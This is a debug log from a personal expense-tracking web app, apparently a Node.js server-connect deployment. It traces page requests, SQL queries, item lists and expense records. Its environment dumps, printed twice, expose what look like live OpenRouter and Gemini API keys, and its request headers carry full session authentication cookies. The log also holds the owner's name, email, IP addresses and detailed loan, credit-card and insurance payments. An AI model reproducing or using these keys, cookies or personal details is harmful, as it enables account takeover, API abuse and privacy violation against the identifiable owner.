    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 537 more items
]
2026-05-07T12:19:38.919Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-05-07T12:19:38.920Z server-connect:app Executing action step identify
2026-05-07T12:19:38.920Z server-connect:app options: { provider: 'security' }
2026-05-07T12:19:38.920Z server-connect:output identity: 1
2026-05-07T12:19:38.920Z server-connect:app Executing action step restrict
2026-05-07T12:19:38.920Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-07T12:19:38.920Z server-connect:output restrict: undefined
2026-05-07T12:19:38.920Z server-connect:app Executing action step single
2026-05-07T12:19:38.920Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-05-07T12:19:38.921Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-05-07T12:25:17.856Z server-connect:router Serving templateView /expense/list
2026-05-07T12:25:17.856Z server-connect:app Executing action step identify
2026-05-07T12:25:17.856Z server-connect:app options: { provider: 'security' }
2026-05-07T12:25:17.856Z server-connect:output identity: 1
2026-05-07T12:25:17.856Z server-connect:app Executing action step restrict
2026-05-07T12:25:17.856Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-07T12:25:17.858Z server-connect:output restrict: undefined
2026-05-07T12:25:17.858Z server-connect:router Render template expense/list
2026-05-07T12:25:17.858Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/expense/list',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AfvIu6k1eCtft2EABz6HX8w%3D%3D.keV42OGufnbfGn6Wf5qh%2Feqa8iX%2ByokLKCLy3yoWY8T0nu18xywQV%2BJu5VT9GYJ1l3BpYQZS4sG%2B7S9pxAFc59%2FVjgSwuyjwkrZkLHmi2eKrJv4fs6xa20MimFsupWMweq7FWcMiXZs4bKZsGmV1xMSFKxe6b%2F7UsNuyrpDCuHQ%3D.rVpG18PnaLRgzf5l6vVpdrK%2BSLxWO7e0HYaCyx7Giz8; your_r_git.sid=s%3AiYI_cPvFhkf9x6nfvGeuWas--qJoLgTw.6FY%2BlVdqKVne4sFvxR%2FQlevSqcusg3rGlKkTIix6yXg',
    'x-forwarded-for': '49.43.184.85',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-08T12:19:32.507Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/expense/list',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.184.85',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/expense/list',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/expense/list',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AfvIu6k1eCtft2EABz6HX8w%3D%3D.keV42OGufnbfGn6Wf5qh%2Feqa8iX%2ByokLKCLy3yoWY8T0nu18xywQV%2BJu5VT9GYJ1l3BpYQZS4sG%2B7S9pxAFc59%2FVjgSwuyjwkrZkLHmi2eKrJv4fs6xa20MimFsupWMweq7FWcMiXZs4bKZsGmV1xMSFKxe6b%2F7UsNuyrpDCuHQ%3D.rVpG18PnaLRgzf5l6vVpdrK%2BSLxWO7e0HYaCyx7Giz8; your_r_git.sid=s%3AiYI_cPvFhkf9x6nfvGeuWas--qJoLgTw.6FY%2BlVdqKVne4sFvxR%2FQlevSqcusg3rGlKkTIix6yXg',
    'HTTP_X_FORWARDED-FOR': '49.43.184.85',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-05-07T12:25:18.147Z server-connect:router Serving serverConnect /api/expense/list
2026-05-07T12:25:18.148Z server-connect:router Serving serverConnect /api/masters/get-tags
2026-05-07T12:25:18.148Z server-connect:app Executing action step identify
2026-05-07T12:25:18.148Z server-connect:app options: { provider: 'security' }
2026-05-07T12:25:18.148Z server-connect:output identity: 1
2026-05-07T12:25:18.148Z server-connect:app Executing action step restrict
2026-05-07T12:25:18.148Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-07T12:25:18.149Z server-connect:output restrict: undefined
2026-05-07T12:25:18.149Z server-connect:app Executing action step paged
2026-05-07T12:25:18.149Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'expense' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    query: 'select `expense`.`invoice_number`, `expense`.`quantity`, `expense`.`purchase_date`, `expense`.`receipt_url`, `expense`.`remark`, `expense`.`amount`, `sc`.`subcategory_name` as `item_name`, `c1`.`name` as `unit` from `expense` inner join `sub_categories` as `sc` on `sc`.`id` = `expense`.`category_id` inner join `collections` as `c1` on `c1`.`id` = `expense`.`unit` where (`expense`.`amount` = ? or `sc`.`subcategory_name` like ? or `c1`.`name` like ?) order by `expense`.`purchase_date` DESC',
    orders: [ [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-05-07T12:25:18.150Z server-connect:app Executing action step identify
2026-05-07T12:25:18.150Z server-connect:app options: { provider: 'security' }
2026-05-07T12:25:18.150Z server-connect:output identity: 1
2026-05-07T12:25:18.150Z server-connect:app Executing action step restrict
2026-05-07T12:25:18.150Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-07T12:25:18.156Z server-connect:output restrict: undefined
2026-05-07T12:25:18.156Z server-connect:app Executing action step select
2026-05-07T12:25:18.156Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'm_tags' },
    primary: 'id',
    joins: [],
    query: 'select `id`, `tag` from `m_tags`'
  }
}
2026-05-07T12:25:18.159Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 1973,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 1950 },
    current: 1,
    total: 79
  },
  data: [
    {
      invoice_number: 12465,
      quantity: '1.00',
      purchase_date: '2026-05-29T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '150.00',
      item_name: 'One Card Payment',
      unit: 'EMI'
    },
    {
      invoice_number: 12464,
      quantity: '1.00',
      purchase_date: '2026-05-09T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '1200.00',
      item_name: 'Jio fibre recharge',
      unit: 'Premium'
    },
    {
      invoice_number: 12452,
      quantity: '1.00',
      purchase_date: '2026-05-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '20.00',
      item_name: 'Butter Milk',
      unit: 'Litres'
    },
    {
      invoice_number: 12452,
      quantity: '500.00',
      purchase_date: '2026-05-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '50.00',
      item_name: 'Dahi',
      unit: 'GM'
    },
    {
      invoice_number: 12463,
      quantity: '1.00',
      purchase_date: '2026-05-05T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '1054.00',
      item_name: 'LIC Premium',
      unit: 'Premium'
    },
    {
      invoice_number: 12450,
      quantity: '1.00',
      purchase_date: '2026-05-04T18:30:00.000Z',
      receipt_url: null,
      remark: 'This is a desction',
      amount: '10.00',
      item_name: 'CRED EMI',
      unit: 'Pounds'
    },
    {
      invoice_number: 12450,
      quantity: '1.00',
      purchase_date: '2026-05-04T18:30:00.000Z',
      receipt_url: null,
      remark: 'This is a desction',
      amount: '110.00',
      item_name: 'Spring Roll',
      unit: 'EMI'
    },
    {
      invoice_number: 12451,
      quantity: '1.00',
      purchase_date: '2026-05-04T18:30:00.000Z',
      receipt_url: null,
      remark: 'Tet',
      amount: '111.00',
      item_name: 'Medicines',
      unit: '2'
    },
    {
      invoice_number: 12458,
      quantity: '1.00',
      purchase_date: '2026-05-04T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '22754.00',
      item_name: 'SMFG Credit India',
      unit: 'EMI'
    },
    {
      invoice_number: 12459,
      quantity: '1.00',
      purchase_date: '2026-05-04T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '9740.00',
      item_name: 'kotak Credit Card Payment',
      unit: 'EMI'
    },
    {
      invoice_number: 12460,
      quantity: '1.00',
      purchase_date: '2026-05-04T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '2674.00',
      item_name: 'CRED EMI',
      unit: 'EMI'
    },
    {
      invoice_number: 12461,
      quantity: '1.00',
      purchase_date: '2026-05-04T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '3369.00',
      item_name: 'Bike 2 Wheelar Loan',
      unit: 'EMI'
    },
    {
      invoice_number: 12462,
      quantity: '1.00',
      purchase_date: '2026-05-04T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '5889.00',
      item_name: 'School Fess',
      unit: 'EMI'
    },
    {
      invoice_number: 12455,
      quantity: '1.00',
      purchase_date: '2026-05-03T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '18000.00',
      item_name: 'Slashash Tech House Loan EMI',
      unit: 'EMI'
    },
    {
      invoice_number: 12456,
      quantity: '1.00',
      purchase_date: '2026-05-03T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '1159.00',
      item_name: 'RBL Credit Card Payment',
      unit: 'EMI'
    },
    {
      invoice_number: 12457,
      quantity: '1.00',
      purchase_date: '2026-05-03T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '2600.00',
      item_name: 'SBI Credit Card Payment',
      unit: 'EMI'
    },
    {
      invoice_number: 12453,
      quantity: '1.00',
      purchase_date: '2026-05-01T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '22031.00',
      item_name: 'Kotak PL Emi',
      unit: 'EMI'
    },
    {
      invoice_number: 12454,
      quantity: '1.00',
      purchase_date: '2026-05-01T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '5336.00',
      item_name: 'IND Money',
      unit: 'EMI'
    },
    {
      invoice_number: 1239,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '189.00',
      item_name: 'Clothing',
      unit: 'Other'
    },
    {
      invoice_number: 1244,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '300.00',
      item_name: 'Gas Bill',
      unit: 'Other'
    },
    {
      invoice_number: 1237,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '95.00',
      item_name: 'App Subscription',
      unit: 'Other'
    },
    {
      invoice_number: 1238,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '348.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1240,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'fruits',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '72.00',
      item_name: 'Paneer',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '80.00',
      item_name: 'Paneer Masala',
      unit: 'Other'
    }
  ]
}
2026-05-07T12:25:18.160Z server-connect:output list: [
  { id: 1, tag: 'Gadgets' },
  { id: 2, tag: 'Waste of money' },
  { id: 3, tag: 'Relax' },
  { id: 4, tag: 'Luxury' },
  { id: 5, tag: 'Needs' },
  { id: 6, tag: 'Swiggy' },
  { id: 7, tag: 'Zomato' },
  { id: 8, tag: 'Bills' },
  { id: 9, tag: 'EMIs' },
  { id: 10, tag: 'Blinkit' },
  { id: 11, tag: 'Instamart' }
]
2026-05-07T12:25:19.100Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-05-07T12:25:19.100Z server-connect:app Executing action step identify
2026-05-07T12:25:19.100Z server-connect:app options: { provider: 'security' }
2026-05-07T12:25:19.100Z server-connect:output identity: 1
2026-05-07T12:25:19.100Z server-connect:app Executing action step restrict
2026-05-07T12:25:19.100Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-07T12:25:19.101Z server-connect:output restrict: undefined
2026-05-07T12:25:19.101Z server-connect:app Executing action step select
2026-05-07T12:25:19.101Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-05-07T12:25:19.102Z server-connect:output list: [
  { name: 'Litres', id: 1 },
  { name: 'KG', id: 2 },
  { name: 'Piece', id: 4 },
  { name: 'Pounds', id: 5 },
  { name: 'Other', id: 11 },
  { name: 'EMI', id: 12 },
  { name: 'Premium', id: 13 },
  { name: 'GM', id: 29 },
  { name: 'Packet', id: 30 },
  { name: 'Tablet', id: 31 },
  { name: 'Strip', id: 32 },
  { name: 'Full Plate', id: 33 },
  { name: 'Half Plate', id: 34 },
  { name: 'Meter', id: 35 },
  { name: 'Bottle', id: 36 },
  { name: 'Glass', id: 37 },
  { name: 'Plate', id: 58 },
  { name: 'HW Ride-ons', id: 177 },
  { name: '2', id: 203 }
]
2026-05-07T12:25:19.104Z server-connect:router Serving serverConnect /api/expense/last-invoice
2026-05-07T12:25:19.104Z server-connect:app Executing action step identify
2026-05-07T12:25:19.104Z server-connect:app options: { provider: 'security' }
2026-05-07T12:25:19.104Z server-connect:output identity: 1
2026-05-07T12:25:19.104Z server-connect:app Executing action step restrict
2026-05-07T12:25:19.104Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-07T12:25:19.105Z server-connect:output restrict: undefined
2026-05-07T12:25:19.105Z server-connect:app Executing action step single
2026-05-07T12:25:19.105Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    params: [],
    table: { name: 'expense' },
    primary: 'id',
    joins: [],
    groupBy: [],
    query: 'select max(`invoice_number`) as `max_invoice` from `expense`'
  }
}
2026-05-07T12:25:19.106Z server-connect:output last_invoice: { max_invoice: 12465 }
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-07 16:14:23' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-07 16:14:23' as DATETIME)"
}
2026-05-07T16:51:48.129Z server-connect:router Serving templateView /
2026-05-07T16:51:48.131Z server-connect:app Executing action step identify
2026-05-07T16:51:48.131Z server-connect:app options: { provider: 'security' }
2026-05-07T16:51:48.131Z server-connect:auth No login cookie found
2026-05-07T16:51:48.131Z server-connect:output identity: false
2026-05-07T16:51:48.131Z server-connect:app Executing action step restrict
2026-05-07T16:51:48.131Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-07T16:51:48.132Z server-connect:output restrict: undefined
2026-05-07T16:51:48.161Z server-connect:router Serving templateView /login
2026-05-07T16:51:48.162Z server-connect:app Executing action step identify
2026-05-07T16:51:48.162Z server-connect:app options: { provider: 'security' }
2026-05-07T16:51:48.162Z server-connect:auth No login cookie found
2026-05-07T16:51:48.162Z server-connect:output identity: false
2026-05-07T16:51:48.162Z server-connect:router Render template layouts/authentication
2026-05-07T16:51:48.162Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Linux; U; Android 13; sk-sk; Xiaomi 11T Pro Build/TKQ1.220829.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/112.0.5615.136 Mobile Safari/537.36 XiaoMi/MiuiBrowser/14.4.0-g',
    accept: 'text/html,application/xhtml+xml',
    'accept-language': 'en-US',
    'cache-control': 'no-cache',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '5.133.222.115',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-08T16:51:48.161Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '5.133.222.115',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; U; Android 13; sk-sk; Xiaomi 11T Pro Build/TKQ1.220829.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/112.0.5615.136 Mobile Safari/537.36 XiaoMi/MiuiBrowser/14.4.0-g',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml',
    HTTP_ACCEPT_LANGUAGE: 'en-US',
    HTTP_CACHE_CONTROL: 'no-cache',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '5.133.222.115',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-07 17:33:23' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
